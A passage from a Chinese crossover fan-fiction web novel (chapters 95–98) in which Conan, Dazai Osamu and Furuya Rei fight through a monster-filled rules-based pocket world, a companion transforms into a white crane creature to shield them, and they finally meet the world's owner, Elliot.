不可能,柯南确认自己是被人救了。那种破空声,就像是羽箭射击而来,还有那个说话的声音……柯南的脸色一时变化不定。 ………… “滴答滴答。”时钟在安静走动,任由外界如何纷乱,这处小小的地界,就像是个宁静的孤岛一般,不受一丝影响。 房间的桌子上摆放着一些医疗的器械,一边的药柜中存放着诸多的药剂。青年穿着白大褂,坐在椅子上,将手中的病历又翻过了一页。他皮肤如冬雪苍白,眸子里是一片平静的淡漠。 直到有人毫不客气地闯入进来。大门被用力打开,来人很快就走到了他的身前。 “欢迎,”他抬起头,极有礼貌道:“是身体有哪里不舒服吗?” 太宰治面色冰冷地走到他面前,他眸子暗沉,内里的黑雾翻滚,收敛了所有在武侦中的跳脱,这一瞬的他,好似又重新回到了黑手党时期。他披着那件破损的风衣,卷曲的额发下,双眼中是无法自抑的、喷薄而出的粘稠恶意,他薄而苍白的嘴唇,吐出犹如诅咒般悦耳的话:“我就知道是你,费奥多尔。” 他无比厌烦道:“老鼠就是老鼠,下水道里有你们,粪坑里也有你们,一群阴魂不散的家伙,这次的事也有你们的参与吧?告诉我,你的手下,果戈里在哪里?” “尼古莱并不是我的手下,”费奥多尔只是浅浅解释了一句,他将病历本放下,也没有为太宰治过激的话生气,他过分冷静道:“这里是诊所,只有受伤的人才能进来。尼古莱是做了一件不太礼貌的事,他也为自己的好奇心付出了代价,太宰君这样生气,是因为,”他的目光转向太宰治的手臂:“你也受伤了么?” “刷。”太宰治毫无犹豫地抬起手臂,用黑洞洞的枪口对准着费奥多尔的额头,他警告道:“别来试探我!把你们做过的事,都一五一十地说出来!” 另一边淡蓝色的隔绝帘后,有人听见动静,往这里偏转了头。 费奥多尔依旧是淡淡的模样:“还是说,你不是一个人来的?” “砰!”太宰治竟真的开枪了。子弹从费奥多尔的额头上滚落下来,没有给他留下一丝伤痕。 费奥多尔将病历本收起,他摇了摇头道:“病人是不能在诊所中伤害医生的。还有,太宰君真的要对能给你线索的人这样恶劣吗?” 太宰治将枪放下,沉默了几秒,忽而,他露出一个微笑道:“费奥多尔你这样闯入别人的家里,有见过这家的主人吗?还是说,有受到过他特殊的招待?” 这一次轮到费奥多尔沉默了,太宰治像是看出了什么,他哈哈大笑起来,整个人笑弯了腰,“我就知道,凭什么我们这群被连累的人都这么惨,你们这两个罪魁祸首还能这样安静地待着?告诉我,你都知道些什么?” “只不过是经历过一遍太宰君你所经历过的事而已,”费奥多尔轻描淡写地说:“只是过程有些惨,那些怪异对于规则的抗性更高罢了。” 在这种危险的世界中,高一丝带来的都是天翻地覆的变化,但费奥多尔没有要说自己痛苦之事的习惯,他轻声道:“我们其实也没做什么,尼古莱在上次接触‘魔女’的时候,发现这个城市里有一处空间有些奇怪。他的异能让他对这些稍为敏感,于是他就停留了下来,一直在观察着那里。” “直到太宰君你的到来,”费奥多尔深紫色的眸子转了转,就像是一条阴冷的蛇,随时准备着缠绕上来,绞死对方,“你调查的失踪案引起了他的兴趣,而之后,空间那边更是首次有了波动,尼古莱根本无法忍受自己被排斥在外,所以,”他摊开手:“他就尝试着想要自己进去。” 太宰治都被气笑了:“所以说,我们遭受的这一切,都是源自一个想要强闯别人‘家门’的任性的家伙的所作所为,嗯?”他转动着手里的枪,像是想立刻给某人来一发。 费奥多尔淡淡道:“他会为自己的所为负责的。”他只是这样轻飘飘地说了一句,也省下了果戈里在这其中遭遇到的更大的苦痛。 第95章 天野鹤 至此, 他们被卷入到这里来的原因,也终是完全清楚明了了。那位超越者本来邀请的只是赤井秀一一人,但中途却被在另一处的尼古莱·果戈里插入一手, 由此引发的波动,将其它在场的所有人都牵扯了进来。横滨那边的范围很小,只有太宰治一人, 可米花町那边就大的多了,预估有数百人消失不见。 “他自然会为自己的所作所为付出代价, ”太宰治神色冷厉:“可那代价却不是由我们赠与给他的,之后我们还会去找他, 但在此之前,我不介意先收下利息。” “不要这样, ”费奥尔多的眼眸在灯光下深沉若渊, 他用一种倦怠中带着平稳的语气说:“你和我都知道, 这件事还有另外一人的因素。你敢去找尼古莱的麻烦,却不提他,这莫不是一种欺软怕硬?” 太宰治笑了, 他轻飘飘道:“是啊, 谁让你现在是弱者呢?” 费奥多尔危险地眯起眼睛, 现场的氛围一瞬冷凝到仿佛要下刀子, 直到内里传来轻轻的咳嗽声,费奥多尔才缓和了神情, 抬脚就向着一边蓝色隔离帘后走去。 帘子被打开, 后方是一个简易的手术台,一段时间没见的降谷零就躺在那上面, 见到太宰治的目光望来,他有些尴尬地打了个招呼:“哈, 又见面了。” 太宰治的视线落在了他的腹部,一圈又一圈的绷带将他的半个身躯都缠住了,旁边的架子上放着一些冰冷的医疗器械,还有一种古怪的消毒水的气味。奇怪,为什么之前都没察觉到呢? 费奥多尔弯下腰来,他细长的手指极轻柔地按压在降谷零的腹腔处,每动一下,都注意着对方脸上的神情。他面上的表情极为认真,就好像真的是一位十分负责的好医生。“你愈合得还算不错,”他重新站起身来,面上带着宽慰的笑:“看来我给的药还是起作用了。再待上几天,你就可以下来了。” 太宰治打了个寒颤,为他这种诱哄般的语气。 “谢谢你,医生,”降谷零也真诚地道谢,他的语声里带着后怕、庆幸、感激等诸多的感情:“如果不是你,我现在恐怕不知道成什么样了,在医疗这方面,我会全部都听你的话的!”最后一句,是被他咬牙加重了声调说出来的。 太宰治若有所思地环顾了一下这个诊所,再加上之前开枪后费奥多尔说出的那句话,他忽然明白过来,这个诊所也一样是有着自己规则的,现在这两个人就是在这规则中。这里并不是什么安全的居留地,它和外界,其实并没有什么区别。 太宰治走近过来,他敏锐地瞧见,在一旁的垃圾桶中,奇怪地散落着一堆的羽毛,羽毛的根部还沾染着血,一层废弃的棉花和绷带还没来得及清理出去。他又想起自己的手,一瞬间,他的神情再度阴冷下来。 “咳咳,”降谷零这次是真的虚弱到咳嗽了,他看了眼太宰治,低声道:“刚才医生说过的线索……”他面上又恢复了最常出现在脸上的镇静,直视着费奥多尔道:“之前我一直问医生,医生你却不肯回答我,现在,是时候说出来了吗?” 费奥多尔微笑着道:“当然,如果这是您的意愿的话。”他又抬起头,特意瞟过一眼太宰治:“这本就是其中的一环,只是某位先生一直不肯听我讲述罢了。” ………… “所以说,”在一段时间过后,柯南艰难地与这两人联系上了。他在电视台中试过了数个的方法,将节目的信号传播出去,利用广播的声音,最后还是借用了电台的频道,才与在诊所中的太宰治他们联络上了。他们约定在一个地方相聚,柯南不得不再次冲出房屋。 “那个人告诉了我们,应该如何与这里的主人相见,你确定他说的都是真的吗?”柯南殊为狼狈地问。 “他不会说假话的,”太宰治笑着说:“因为这里不是他的地方,审时度势他还是能做到的。除非他想永远都不回去。” 柯南略有所思地点点头:“他们本身在那个超越者眼中就有罪,如果再做出一些不好的事,只会为未来的自己带去麻烦。你说得对,这里的主人对我们确实没恶意。不过,既然是如此,太宰治先生,不知你能不能告诉我,为什么我们本来应该是四个人,现在出现在这里的,却只有三人。你知道天野哥哥去哪里了吗?” 太宰治的脸色沉寂了下去。柯南眼神炯炯地望着他,降谷零也意识到了什么,他看了下两人的神情,往柯南这边靠了靠。 “轰!”原处传来更大的震动,这种波动,自从太宰治与裴真在火堆边醒来后,就一直回响在这个世界中,那些虚白的影子也是因之惊醒,甚至柯南发现,随着这种动荡的进行,那些原本只在一个区域中的怪异,也逐渐有了脱离规则的趋势。 “在红月降落在地上时,规则化为的守卫者会使它流血,狼人牵着的锁链断裂,它们翻滚在地上厮杀,杀出的一条路上遍布着祂们的血。你们踏上这条路,就是去觐见他的道。”降谷零喃喃自语地说着费奥多尔告诉他们的话。 柯南皱起了眉:“我们根本靠近不了那里,不仅是一路上可能碰到的东西,还有那里本身,能引起这样大动荡的存在,只会比我们见到的,更加可怕。” “可我们已经没有选择了。”降谷零沉重道。在他的示意下,柯南也注意到了,越来越多的东西围聚了过来,他之前一直担心的事,终是发生了。 规则其实是保护着他们的,但这块地上,并不是规则的主场。小镇那边才是。 他们没有犹豫,风驰电掣般朝着动荡的中心而去。似是知道他们的去处,无数的白影如潮水涌了出来,它们每一个都用空洞洞的五官对着他们,更多的哀嚎声夹杂着红月本身灌输来的絮语,如尖锐的针般不断地刺向他们的脑海,在其中疯狂交杂回响。无边无际的烦躁生出,几乎要淹没他们的理智,柯南紧紧地咬着唇,死死地保持着自己的清醒,他不能倒在这里,绝不能,尤其是在—— “小心!”有人高喊,柯南蓦然想要后退,可那道几乎隐形的攻击又怎么是那么好躲过的?这是一道灰影,电光火石间,柯南回想了起来,这好像就是那个让他与天野鹤分开的诡异。 “咻!”又是那道破空的声音。这次柯南看清了,它穿过灰色怪影头颅的部位,刺破降谷零身边的一道白影,终是停立在了第三个的怪物身上。灰影往后连退几步,身形晃了晃,一阵模糊不稳;白影如气球般被戳破,散成一堆清气;最后一个怪物痛到打滚。 那是一根长翎羽,有着白色的色泽和尖锐的羽茎,比起羽毛,它更像是个专门打造出的利器。 “你不是问我天野鹤去了哪里吗?”不知什么时候,太宰治来到了他的身边,他的语气涩然:“你看,他现在不就是在那里么?” 柯南抬头望去。他见到一个白色的怪物的身影,出现在众多的怪异之间。 它立在那里,身上的羽毛是如雪一般洁白,它的身姿挺拔,一边的翅膀如利剑一般被它贴在身侧,它就站在那里,用一边的羽翼遮挡住自己的脸,只露出稍许的羽冠。它更像是个突然出现的战士,因它的立足之势太过坚韧,身边是身影憧憧的怪异,它却始终沉默不动,只有身上的每一片羽毛,都闪烁着锋利又美丽的光。 如斯怪异,如斯纯洁,二者结合在一起,构成了一种超脱了常理的诡异的美。 柯南瞪大了眼:“不,这不可能……” 但刚才那根鹤羽打破了他的自欺,在这个恐怖的世界中,没有一个怪物会是来帮助他们的。 “在这边,与怪物打交道,就是被它们侵染的一种过程,而受伤,则是会大大加快这种速度,甚至是你什么都没做,也会在悄无声息中,被暗自转化。”太宰治在一边哑声说。 “我都知道!但不可能这么快!”柯南始终在盯着前面,他恶狠狠道:“要说受伤,你才是我们中第一个受伤的人,在带我们一起去破案子前,你就已经受了伤!” “是的,”太宰治垂下眼眸:“我确实是第一个被转化感染的,但,人的精神可以抗拒这些,只要你无论如何都不想被侵蚀,就可以大大拖延这种速度。甚至若是你受了重伤,侵蚀程度大幅增加,还可以在诊所里用手术和药物来拖延,就像是你身边的这位警察先生,他就是这样做的。” 一旁的降谷零又一次击退了一个怪异,他原本俊秀的脸上,此时也浮出了层叠的绒羽。他们能走到现在,还要去往更危险的地方,二人身上的转变也是一道倚仗。 “那为什么……”柯南问。 “可主动选择了异化就不一样,”太宰治的语声急促:“还会大大加强这种转变的速度!” 柯南一时失语。那站立的白鹤怪异仍在面对着他,他似乎感到有视线一直落在他身上。局势已经容不得再纠结了,柯南耳边又响起了自己在之前遇险时听过的那句话:“快走。” 心中的猜想被证实,之前在危急时救过他的,果然也是他,柯南一瞬情绪激涌,他攒紧了拳,眼眶通红。 忽而,白鹤稍微偏了偏身体,一张纸从半空中落在了柯南身前,柯南一愣,接住了它。但仅仅只是扫过它一眼,柯南就如同遭受了重击,眼泪霎时从眼眶中流落而下。 “天野哥哥!”他忍不住高喊,对着那个现在依旧在帮助他们的人。“快走!”第二道催促声响起,混杂了其它的诡异声,还带上了点焦急的情绪。“快走!”降谷零也一起喝声道。他面无表情,这样的生离死别他早就经历过了不知道多少次了,上一次的时候,还是景光那次…… 更多的怪物涌来。白鹤微微动了动,他一直遮住自己脸庞的右翅有要放下的意思。 柯南一狠心,他转头就跑,向着降谷零与太宰治清扫出来的通道。“不要再看他!”柯南一边跑一边大喊。 太宰治迅速扭转过头来。在他最后的余光中,他看到那只由人转化出的怪异终于展开了自己的双翅,那宽阔的羽翼舒展而开…… 第96章 我们需要这份力量 他张开了羽翼, 片片的翎羽在他的双翅间舒展开,而后,有汹涌的气流产生, 数之不尽的羽毛如利剑一般破开空气,朝着同样无数的怪异射去。尖锐的爆鸣声在他们的耳边不断响起,一道道诡怪的身影在他们身侧哀嚎着散去, 三个人咬紧了唇,他们飞奔在怪物群里, 不需要有一丝停顿。 “你发现了什么?”太宰治问柯南,他最后的表现有些奇怪。 柯南目光复杂, 他摇摇头,还是将那张纸揉成团扔了过去:“接着!” 太宰治往前一跳, 伸手接过。他将之打开。 “1. 不要看它的脸, 它不想让人看见它的脸。 2. 不要靠近它五米以内。 3. 猫猫可以贴近它。 4. 有些时候, 它会假装自己是座雕像。这种时候,不要发出嘈杂的声音。 5. 它不喜欢出手,所以它通常时候是安全的。 6. 你不会想看到它出手的。 7. 它……他会帮……快…更快些……在……之前… 8. ……” 太宰治神色一肃, 这是那些怪物才有的规则, 有了这些, 就说明…… 柯南在大喊:“我们要更快一些, 他快要坚持不住了!在那之前如果我们能找到这个地方的拥有者,他说不定还有救!” 熟悉的话让太宰治神情恍惚了一刹, 他忽而想起了自己在之前与他有过的交流。 时间往前推进数小时。 太宰治在警察局中找到了一张地图, 他看到了其中的数个标记点,有一个是医疗诊室的标志。 他们现在还是没有任何“通关”的头绪, 太宰治都有些累了,更多的还是身体上的疲累, 他倚靠在警察局的墙边,看着裴真还在搜索着这里。 窗户外面俱是一些虚白色的扭曲的脸,它们密密麻麻地望向内里,没有一丝要离去的意思。太宰治忽然就笑了起来,他问:“或许我们都会死在这里也说不定。” 裴真有些讶异地回望他。 “可惜了,我想象中的死法可不是这样的,”他也不知自己在说些什么:“最好是能有一位美丽的小姐与我殉情,殉情,最好还是一个不会有人经过的河边……” 手臂上的痛苦让他一直处在一种高强度的精神压力下,他在第一晚的时候贸然出门,这项违背了规则的举动不是没有给他带来后果。那个月夜的庞大的怪物一直追着他跑,大概也有他在最初就违背了规则的缘故。 裴真安慰了他一会。 而之后呢,之后他们又经历了一些事,太宰治的身体状况已经开始不好了,那些虚白的怪物还一直在盯着他们,他们又距离想去的地方太远。这个时候的他们,还不知道去到那里就能得到线索。 终于,在裴真又救过一次太宰治后,他说:“其实那只狼在和你说话的时候我是醒着的,我听到了,它叫你离我远一点对吧?” 裴真正在做一些预防,他们需要休息,顺便将房子里唯一的灯给点燃。 “你知道它为什么这样说吗?”不待他回答,太宰治就自己将外套脱了下来,挽起袖口,冷笑道:“你真应该听它的,在我变成怪物之前,离我远远的,免得第一个遭了灾!” 别以为他不知道,之前一直在夜里狩猎违背了规则之人的怪物,估计就是这只狼的另一个身份。 裴真看到他的一条手臂上已经长满了黑色的毛,像是某种哺乳动物的皮毛。 “这是感染?”裴真问。 “是的,不错。”太宰治战损版面上带着轻松的笑意,黑色的发丝垂落在他眉间,掩住了他过分深沉的双眼,他的声音飘忽不定:“只要受了伤就会被侵蚀,然后一步步的,成为外面那种东西。” 但这个时候的太宰治绝没想到,他现在说的这些,都会成为之后另一人做出那个选择的依据。太宰治奔跑在要去往最后之路的途中,脑中的思绪纷乱。 “你知道你在做什么吗?”他听见自己的声音中满是惊讶。 那段时期之后的他已经为更进一步的侵蚀所影响,一路上的头脑都有些浑噩,但先前的有些记忆仍如吉光片羽般留在他的脑海里,让他后来都记得很清晰。 他听见有人说:“……我并没有要牺牲自己的意思。牺牲自己只为了拯救旁人,我还没有那么高尚。” 人影在他的面前晃动。“我只是认为,如果这一切背后,真的有一个人的话,他对于这里来说,简直就像是神一样的存在。若是他真的如太宰先生所言,对我们没有恶意,那么,消除我们身上的变异,于他而言,应该是轻而易举的事。我并不是想死,我只是认为,我不会死。” “可笑,”他听见自己说,“我没想到你竟是这样的天真!” “将自己的命运寄托在他人手上,谁知道那个家伙到底是怎么想的。我说那些只是为了安抚你们,说不定那个家伙其实只是想要戏弄我们,”他满怀恶意道:“就这样你还要赌吗?” 但面前的人没有为他说动,他只是摇了摇头:“我做出这个选择,不只是出于太宰先生你的猜测,而是出自我自己的思考。我赞同太宰先生的话,是因为我也是这样认为的。我选择,是出自我思索,这就已经够了。” 那个时候的他,身上已然出现了层层的翎羽,但和太宰治不同,他没有要用自己的精神力将这种变化强压下来,他有些好奇地瞧了瞧自己,又道:“更何况,体验一番超能力,对于我这个普通人来说,也是一种新奇有趣的体验。” “我们需要这份力量不是吗?”他很平静:“我能看出来,你们都是这世上最优秀的一批人之一,我相信你们,能将一切都扳回正轨。如果连你们都做不到,这世界上,大概也没多少人能做到了。只不过,还需要一点推动力罢了。” ……… “好奇怪啊,太宰先生,在来到这里后,我就一直有一种不真实的感觉,这样奇怪的东西,是真的存在着的吗?这可能也是我那么轻易选择了的原因吧。” “太宰先生,你说你其实不在乎我们的生死,我们的生命对你来说都是无所谓的事。我觉得你说的都是真心话,可这世上,真的有那么多人在乎另一个人的生命吗?或许有吧,但不论是谁,最在乎自己性命的,不都应该是自己么。唯有自己,才需要对自己的生命负责。所以,我是可以决定自己的路的。” “我啊,其实是个很普通的人。虽然最后的一位亲人奶奶已经在不久前去世了,但也只是悲伤了一小会,接下来就去过自己的生活了。我并不愤世嫉俗,也没有太大的野心,是一个并没有多少特色的人,但就算是这样的我也知道,如果要说牺牲,那就要说出口的人去做,否则的话,这个词就会染上杂色了。””太宰先生,不要和我说最优解了,这就是最优解!” ………… “呵呵,”极速奔跑中的太宰治捂住了脸,他忽然明白过来为什么那个家伙变成怪物是这个样子了,人如其名,那是一个如鹤一般孤高的家伙,他之所以不融入群体,是因为不想融入,他不喜交际,也不愿表露自己,但论起骄傲,恐怕是他们中之最。他只能在自由的环境中生长,若是想要往他的脚上拴上哪怕一条的细链子,那么,不是你死,就是他死。 他就好像是一个站在满船星河边的人,能与他交友的,只有天上的星辰和水中的倒影,他回首望来,夜间的风吹起他的额发。这不是邀请,而是拒绝。 细密的羽剑从他们身侧如雨般飞刺而过,他们终于从诡异的包围圈中冲出,去到了那处交战后的场地。 白鹤的怪物停止了维护,他收拢下翅膀,站在原地遥望着他们的背影。 “被【扭曲】侵染,我可以变回原样吗?”在过去的某一个时刻,他问自己的新的马甲。 “当然了,”他的心中,有一道声音温柔地说:“否则的话,受伤的太宰治和降谷零不就回不去现世了么?我可没有要留下他们两人的意思。” “你想要帮他们?”马甲问。 “也没,”裴真说:“就是顺势而为,四个人中,我什么表现都没有,那才是真扎眼。变成怪物也挺有趣的,看他们变脸也很有意思。顺势还能再收割一波。” 他看了一下自己自从来到这里后溶液球的涨幅度,+451,其中最大的数字,是来源于三人对此地的惊异,还有自己以此身出现在他们面前时的震动。柯南与太宰治是受影响最大的。 “你就不怕你这个身份也引来众多的注目吗?你应该是喜欢安静的。” “没关系呀,”他捧起手来:“其实在抽出第一张卡的时候,我就已经进入了局中。因为,无色之王不可能不露面,我做的那些,都只是在推迟那一天的到来。” “而且,如果我想继续隐藏下去,那就再选择一个简单点的马甲就好。”他微微笑着说:“这个身份是特殊的,但也不那么特殊。我从很久以前就明白一个道理,永远不要将自己套牢在一处,一旦连自己都给自己定义了,那么,你也就被限制住了。” “随你吧。”他的马甲也笑了下,声音低沉柔和,宛如青翠绿林间溪水的清响:“这是给你的游戏,又不是给他们的游戏,自然是随你心意。” 裴真看着他们几人踏上了那条路。连刚才还在战斗的另两个怪物也一齐停了下来,望着三位不速之客。 “他们要去见你了,”裴真说:“还要设置最后的难关吗?” “不,那就不必了,”不知在何处的新马甲说:“我只是想要他们陪陪我。【规则】与【扭曲】对他们来说超标了,最起码对柯南和降谷零有些不公平,太宰治的人间失格又是需要接触到异能力者本身,再继续下去就是故意为难了。更何况,你的事也耽误不得,他们已经达成了条件,与我相见也没什么。” “就像是勇者的小队,披荆斩棘而来,到达了终点,就是要见魔王的时候了。”他笑着说:“我这个‘魔王’,也不能再继续躲着了啊。” 裴真也笑了,他沉寂下来,用一只翅膀挡住了脸。“这次的冒险就要结束了吗?还真是有点累了呢。” 第97章 我的领土 红月与怪物依旧在战斗, 它们周身的气势翻涌,只有那一条淡红的路上平静如常,柯南他们三人奔跑在这条路上, 看不见前方,却一点也不敢慢下来,他们不知道自己如何去见这个空间的主人, 但他们知道,只要停下, 很可能就再也没有机会了。 忽然之间,战斗止息了, 柯南敏锐地发现,红月和那个怪物一起转过头来, 看向了他们。他心跳得很快, 几乎以为这就是个骗局了, 但下一瞬,他一脚踩空,周遭环境大变, 他惊魂未定地跪倒在地上, 大口大口地喘息着。 周围再也不见那些能将人卷入进去的混乱气流了, 取而代之的, 是一座幽静安宁的树林,林中没有鸟叫声, 也没有风声, 它们就像是副图画般静立于此。若非没有这些,柯南几乎以为这就是他初次醒来时的那片树林了。 降谷零警戒地扫视四周, 他淡淡说道:“小心些,这片林子有古怪。” 太宰治倒是悠然, 他轻轻一笑:“这个地方又有哪里不古怪呢?”他环顾一圈,率先沿着脚下的这条路往前走。 柯南有很多话想问他,有关天野鹤在这其中发生的事,但想到现在的情况,他又强自将这些按捺下去了,他一言不发地跟了上去,降谷零则是缀在最后,观察着周围。 他们并没有走多久,很快就来到一处开阔之地。阳光温柔地泼洒下来,将一切都照耀得温暖又舒适。一幢小屋就静立于此,它形态不高,也没有多少精致的雕刻,但与周围相融得十分和谐。一条石子的小路将一座小花园分开,一直延伸到门口,花园中姹紫嫣红,花开得相当绚烂,争相斗艳,犹如一场盛大的欢宴会。 柯南与太宰治他们三人的心情却很沉重,他们踏足在这里,就犹如踏上了最终之路。这里不是无尽美好的祝福之地,而是那整座怪异世界的拥有者的居住之所,无论它看上去多么的轻盈梦幻,都无法消除他们心中的恐惧,或者说,越是优美,就越是拉响他们心中的警报铃、 太宰治趁着机会,从路过的窗台外往里看了一眼,里面的布置也很温馨,桌椅干净整洁,墙面是暖色调的绘图,一株藤萝的藤蔓沿着墙角往上攀爬,织成了一抹绿毯,窗台上插着一支灿烂的野菊花,一切都没什么异样。 但有谁在从里面瞧着自己。 太宰治微低下头。他们一行人来到门前,一只黄色的老狗正趴在门口,见到有人来,它警惕地站起身,铜铃大的眼睛直直地望向他们。没有人敢与它发生冲突,他们已经深知,在这里的每一个智慧生物,很有可能都是一个恐怖的怪物,当你触犯它的规则……不,当它脱离了规则的束缚时,就会变成一个吞噬人心的怪物。 “哦,巴特,”屋内传来一个怪异的腔调,它说:“放他们进来,他们都是主人的客人,我们要好好招待他们。” 黄色的狗又重新坐了回去。三人犹豫了一下,还是重新向前,在路过这条狗时,柯南注视进了它的眼瞳,有那么一刹,他几乎以为蹲在这里的是个人了,他打了个寒颤,不敢再看,快步上前。 小屋的门扉是木制的胡桃色的,上面挂着一个花圈,一旁悬着一串风铃,当门被打开时,它就会发出清脆悦耳的铃铛响声,就像现在这样—— “叮铃铃铃!”门自己打开了! “快进来呀!”门里那个怪异的存在又开口说话了,它的声音尖锐中不懂转弯,像是某样东西在模仿人类,尽管已经很像了,但还是有很多不得法。 太宰治微微笑着,还是他第一个踏入屋中,降谷零和柯南想要叫他,但互视了一眼后,还是咬咬牙,跟了进去。 出乎意料的是,他们很快就瞧见了那个说话的东西。在一片和暖的布置中,一只彩色的鸟正站在栖木上,歪着头看着走入的他们。 柯南一惊,那只鸟扑灵扑灵扇了扇翅膀:“欢迎欢迎,你们就是来访的客人吗?主人已经交待了,要好好招待你们,要用果子和清水,你们快吃,快喝,都是很甜的!” 太宰治转头一看,果见木桌上早已准备好了这些,是三人份的,每个人都有。但其中两份上沾染了些露珠,另一份却是没有。太宰治目光闪了闪。 降谷零没准备去吃这些来历不明的东西,他问:“你家的主人呢?” 鸟静静地看了他们一会,也不知是因为他们没有将食物吃下去,还是无意间触犯了什么。降谷零的身体绷紧,像是在等待一场审判。直到太宰治轻笑一声,他坐在桌子旁,将果子和水都吃了下去,然后,他很有礼貌地回道:“很新鲜的果子,我已经很久没吃东西了,肚子饿得狠了,多谢你的招待。” 鸟立刻就高兴起来,它大声道:“应该的,应该的,主人嘱托过,要来的是贵客,要用最好的招待!” 太宰治叹息:“真是位热情好客的主人,这样真诚的对待,让我受宠若惊,不知能否让我见见他,感谢他一直以来的款待?” 柯南看了他一眼,对他这种睁眼说瞎话的技能十分佩服。 鸟儿跳了跳,它也不像之前那样不动了,它欢快道:“主人外出了,他嘱托我来照顾你们。” “什么,你说他不在这里?”柯南急了。 降谷零也问:“他是什么时候不在的?” 鸟儿歪了歪头:“自然是在你们过来之前。” “你是说,”一边的太宰治眯起眼睛:“他是在我们到来这个空间之前,就已经离开了是吗?”他将其中的几个字咬得很精准。 “是的!”鸟儿大叫:“去很远的地方,没有回来,我来招待,客人……” “那他什么时候回来?”柯南握紧了拳,他是他们中最焦急的一个,因为他不知道,若是等天野鹤完全变成了怪物,还能不能重新变回来。 鸟儿看着他,眼神很奇怪:“自然是该回来的时候回来啊。” “你……”柯南嘶了一声,只觉得它说的是废话。 但下一秒,一道轻轻的扣门声就在他们的耳边响起。柯南差一点就被吓得跳起来,降谷零如临强敌,太宰治也手一抖,杯中的水颤了颤,他们一齐望向门扉之外。 外面也没传来狗叫,像是那一只之前极为尽责的黄狗死了一般。一时之间,屋内寂静到可怖。 似是觉察到了他们的惊恐,门外的人(或者其他的什么东西)轻笑了一下,他轻声说话,像是春日的微风拂过湖面,又像是暖阳撒在林间,他道:“你们好,诸位不请自来的客人们。” 分明他是在屋外,他们才是在屋内,但每个人心中都生出了无所适从的不适感,犹如偷入无人之家的窃贼,却恰好被屋子的主人堵住了。 “吱呀。”好似之前的招呼只是提醒,门外的人主动将门推开了。屋内的人屏住了呼吸,他们见到一个身影出现在他们眼前。他站立在阳光里,一头翠色的长发带着微卷,如瀑般披散下来,让人联想到富有生机的森林。他的身形很高,比起他们中最高的降谷零还要高出半个头,仿如抽枝生长出的绿竹,坚韧又极富力量感。 他穿着一件洁白的长袍,给人一种宗教人士才有的整洁肃然感,但他的神情却又是淡雅温和的,为其添上了一抹独有的仁慈之意。他的面容无可挑剔,每一分都是毫无瑕疵,宛如被精灵亲吻过,翠色的眼珠晶莹璀璨,智慧与悲悯蕴含在其间,他轻轻往前走出一步,像是神话中的森林之神、自然之神莅临人间。 太宰治他们三人也惊住了,停了一会才反应过来,他们万万没想到,这座空间的主人,居然会是这样一位人物,他出场时就像是与光相融在一起,这样的人,又怎么可能,是造出那些怪物的人?! 来人的目光像是洞悉了他们的所思,他走到他们跟前,微微笑道:“欢迎来到这里,我的空间,我的领土,也是我的……家。” “嘎嘎嘎嘎!”一阵难听的鸟叫声打破了场中的凝滞,只听那只彩色的鸟儿十分雀跃地开口道:“欢迎回来,主人!您的旅途可还顺利,路上有没有遇上坏心肠的恶人,有没有交到相好的朋友,嘎嘎,回来可要好好休息一番,这一趟旅途一定使你非常劳累!” 几人看了一眼这位连衣角都没有沾上灰的人,觉得这只鸟自带的滤镜有些厚了。 男人走向屋内的一张椅子,在上面坐下后,他微笑着看着众人:“我想,你们一定有很多问题想问我。” 柯南首先跑了过去:“我想问你,在你的空间里,那些变成了怪物的人,还有没有变回来的可能?”他死死地盯着他,生怕听到一个不好的回答。 主人家流露出一个欣悦的笑:“你问的应该是你的那位朋友吧?”他端起一边的杯子,轻柔安抚道:“你不用担心,它们并非是由人类转变成,就算有一两位,也是我在他们将死之际,取得了他们的同意,才将他们收容进来的。你的那位朋友是一位非常好的人,我很欣赏他的才能,还有他的心性,我是非常想要将他留下的,但不能以这种方式。” 柯南紧紧盯着他的神情,在得到一个回答,又没发现他撒谎后,才长长地松了口气。松出这口气,他感到无比疲惫,差一点就站立不稳了。 太宰治将一盘水果递了过来,示意他吃。 降谷零也问:“那封请柬是你送给赤井秀一的?你就是邀请他的人?” 主人家点了点头,他面上流露出一股歉意:“我也没想到会遭遇到意外,造成这种情况,不过你不必担心,那些不幸被卷入的人没有受伤,他们已经被送回去了,现在应该都回到了自己家中。” 降谷零张了张口,之后的质疑也不必再问了。“你、你们不是说了,小镇会在半个月后进行扩张,那个时候会有新的动物进来……”但他还是坚持着问话。 主人家眨了眨眼:“那是因为我的力量得到了长足的进步,动物都是在两厢碰撞中生成的,领地扩大了,自然会有新的‘生命’诞生。” 降谷零抿了抿唇,只能退下。接下来是太宰治了,只见他将果盘重新放回,然后仿佛不经意般问道:“我可以知道你的名字吗?” 第98章 艾略特的过往 “我可以知道你的名字吗?”太宰治问。其他两个人也一起望来。 是啊, 他们因为太过担忧另外的人,在见到他的第一刻,首先去做的, 是确认他们的安全。连这人是谁都没来得及问。 主人家听见太宰治的问话,面上浮现出了一缕淡淡的惆怅,像是回忆起了什么:“名字啊, 你们就叫我艾略特吧。” 太宰治深吸口气:“是‘艾略特·奥提兹姆·米瑟耶·格罗佩斯’吧?” 艾略特颇为惊讶,柯南和降谷零也有些吃惊。“想不到这样长的一个名字你都记住了, 我可以问一问,你是从哪里得知的么?”他的声音依旧很柔和。 他实在不像是拥有这么一个可怖世界的人, 但若说他是一位超越者,在场的几人都是相信的, 因为他确实是有一种超凡脱俗气质的, 自他出现以后, 周围的时光都仿佛沉凝下来,柯南几人之前在红月世界中积累的阴霾也在不知不觉中消散了。 “是您的弟弟安德列,阁下, ”太宰治这次又重新变得彬彬有礼了, 他低下头道:“我在来这里之前, 接下了一个寻找失踪哥哥的委托, 因为报酬给得很多,所以就算他是一个八九岁的孩子, 我也还是认真展开了调查, 谁知道,会在搜寻那条失踪巷道的时候, 被卷入到这里来……” 太宰治这一番话说得极为巧妙,既解释了自己知道他名字的原因, 又借用他弟弟委托人的身份,套上了近乎,还隐隐叙说了自己的委屈,说明自己实在是矜矜业业,是并非自愿来到这里的。 只能说,只要你足够的强大,就算是再厉害的操心师,也要在你面前敛去锋芒,调整自己的角色,拉近与你的距离。 “安德列,”艾略特感慨道:“是我父母在之后要的那个孩子啊。”这意味着,他承认了自己就是在十年前失踪的那个人。 “是的,”太宰治认真道:“他是在您失踪两年后出生的,是一个很聪明的孩子。” 艾略特端坐在桌子后,叹了口气:“我从来没有与他见过面,为何要来寻找我呢?” “大抵是孩子天生就对兄长有着仰慕之意吧,”太宰治含着笑:“这其中可能也有您的亲人对您的思念之故。” 